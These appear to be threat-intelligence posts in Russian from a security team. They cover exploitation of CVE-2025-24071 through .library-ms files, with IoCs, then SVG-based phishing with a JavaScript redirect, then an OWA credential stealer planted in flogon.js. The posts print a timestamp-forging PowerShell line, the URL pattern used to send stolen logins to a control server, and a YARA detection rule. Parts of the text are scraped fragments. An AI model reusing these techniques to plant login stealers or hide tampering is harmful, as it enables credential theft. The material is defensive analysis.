🕵️♀️ Несмотря на то что данные об уязвимости были опубликованы пару дней назад, злоумышленники не спят: мы уже обнаружили попытки эксплуатации CVE-2025-24071 в организациях в России и Республике Беларусь.
Атакующие распространяют архивы, в которых содержатся документ в формате PDF и файл .library-ms
(скриншот 1). Жертва распаковывает архив и запускает PDF-приманку (скриншот 2), в то время как файл .library-ms
автоматически и незаметно для пользователя отправляет данные на командный центр злоумышленников.
📈 Эксперты PT ESC прогнозируют всплеск атак с использованием этой уязвимости. Мы рекомендуем следующие методы защиты:
• Ограничить соединения по SMB-протоколу к внешним серверам.
• Обновить Windows до последней версии (установить мартовские обновления).
• Запретить запуск файлов с расширением .library-ms
.
• Заблокировать получение файлов с расширением .library-ms
по электронной почте.
IoCs
Письмо Минпромторга России от 17.03.2025 № 182544_21 о направлении сведений по кадровому потенциалу предприятий 2025.pdf.library-ms
MD5: c3f9813545b7f830183369dd649bd595
SHA-1: fcadd1a24f2fa6e0f5338ff0e8d186258c79a05d
SHA-256: a4205e773eee7f33d1bb776a2f7b36da4b3955284208c015257311b8ef23f721
Письмо Минпромторга России от 17.03.2025 № 182544_21.zip
MD5: 83a60de9faed1b0a0344eda108aee44f
SHA-1: 10c02f7a3214dc166f6a8ce19c3d0a988084b3ea
SHA-256: e7897176a7d226c82af27ff525399bd0c7d7b73fdfffac8d2d56b8707637aa99
01 Сопроводительное.pdf.library-ms
MD5: 74e2f206e99040868b60eef04781de8a
SHA-1: f27ecc7ec9c6425a41a3cbfa8bf74f24c32c6488
SHA-256: 8a3728ebdb64e69347c14356b250eb0720801ce367acd1b53510a8dea16f7001
01 Сопроводительное.zip
MD5: 78cd8d4481713fbd4beb790a127bd793
SHA-1: 595b68aaad8a705e78125735cdb7136b6f17b077
SHA-256: 07f6d81b5e3fba23f5de34038424ebec4710cbc16959de4389ceb7855e69bac2
spisoc.library-ms
MD5: 9bab71704cefac935546e09d12dfd2c1
SHA-1: 922c6ee612bd22a85cd1e84f50e18d21656c3f3d
SHA-256: cb9810b6492aad667554958332a3518aeed8d356dcd03b43e4116cd92c938d0f
154.205.148.56
38.60.247.250
94.250.249.129
Графика с сюрпризом: когда векторы скрывают вредоносный код 🤨
В этом посте мы рассмотрим пример фишингового электронного письма, в котором вредоносный контент доставлялся через SVG-файл. Ранее о таком способе обхода средств защиты информации писали здесь, но сейчас мы более подробно рассмотрим, как это работает. Наши наблюдения за последние недели показали, что половина вредоносных писем с HTML-подобными вложениями содержат именно SVG-файл.
Фишинговое письмо 🥳
Почтовый образец достаточно скромный: отправлялся от почтового ящика из сервиса GMX, поддерживающего свободную регистрацию; в теме содержал информацию о поступлении квитанции об оплате; тело письма было пустым, а вредоносный SVG-файл был единственным вложением (скриншот 1).
SVG-файл 😱
Начало файла имеет достаточно обычную SVG-верстку с метаданными, а само тело «изображения» представляет собой загрузку HTML-контента через вызов <foreignObject>
(скриншот 2).
Примечание: элемент <foreignObject>
в SVG используется для подгрузки других XML-объектов в изображение, в том числе HTML. Подгрузка последнего позволяет наполнить изображение «фишками» HTML, такими как интерактивные объекты или динамический контент.
<![CDATA[ ... ]]>
) определяется константа, волатильная в зависимости от адресата электронного письма. Такой подход позволяет не менять непосредственно код JS-скрипта, встраивая его одинаковым Base64-блоком в элемент <script src=>
.code
уже содержит URL-адрес вредоносной страницы (скриншот 4).huqe
из предыдущего пункта и его подстановку за «якорем» в формируемую URL-ссылку — достаточно известная техника проброса email-адреса получателя в форму сбора учетных записей.window.addEventListener("DOMContentLoaded", script_function())
, но с учетом того, что никакого DOM скрипт не содержит: сразу запускается код из JSON-ключа code, возвращаемого из функции дешифрования.window.location.assign()
запускает редирект на URL-адрес из его параметров. Это говорит о том, что непосредственные манипуляции с пользователем осуществляются уже на отдельной веб-странице, а не внутри SVG-изображения.Сложный пароль не поможет 📮
Практика команды реагирования на инциденты информационной безопасности PT ESC IR показывает, что злоумышленники, получая доступ в инфраструктуру компаний, помимо классических бэкдоров и туннелей, иногда встраивают на почтовом сервере дополнительные стилеры учетных записей. Про аналогичное ВПО мы уже рассказывали в прошлом году.
Например, в ходе атаки злоумышленники могут получить доступ к почтовому серверу Microsoft Exchange Server и отредактировать файл C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\XX.X.XXXX\scripts\premium\flogon.js
, который является inline-скриптом для главной страницы аутентификации logon.aspx
на OWA (Outlook Web Access).
<%= InlineJavascript("flogon.js") %>
$path=".\flogon.js";$time = "2020-01-02 07:24:31";(Get-Item $path).LastWriteTime = $time;(Get-Item $path).CreationTime = $time;(Get-Item $path).LastAccessTime = $time`
clkLgn
, которая является обработчиком кнопки входа. В функцию добавляют вредоносный код, который в открытом виде перехватывает все учетные записи (логины и пароли), введенные пользователями при авторизации на OWA.clkLgn
формируется URL формата https://[REDACTED]/?key1=smthuser&key2=smthpassword
, где smthuser
— это логин, а smthpassword
— пароль перехваченной учетной записи, и отправляется GET-запрос на управляющий сервер (скриншоты 1, 2).check.aspx
, задача которого — запись перехваченных учетных данных в лог log.png
на диске. Доступ к логу атакующие могли получать из интернета. clkLgn
, в код которой была добавлена новая функция chklogin
, которая, в свою очередь, вызывала chk
, внутри которой формировался URL ./check.aspx?c="smthuser-smthpassword
с перехваченными учетными данными в параметре «c» и выполнялся GET-запрос в скрипт check.aspx
(скриншоты 3, 4).log.png
:smthuser-
smthpassword#20250304090723
rule PTESC_tool_win_ZZ_clkLgnStealer__Stealer{
strings:
$s1 = "// flogon.js"
$s2 = "(\"username\").value"
$s3 = "(\"password\").value"
$s4 = "function clkLgn()"
$s5 = ".send()"
condition:
all of them and filesize < 20KB
}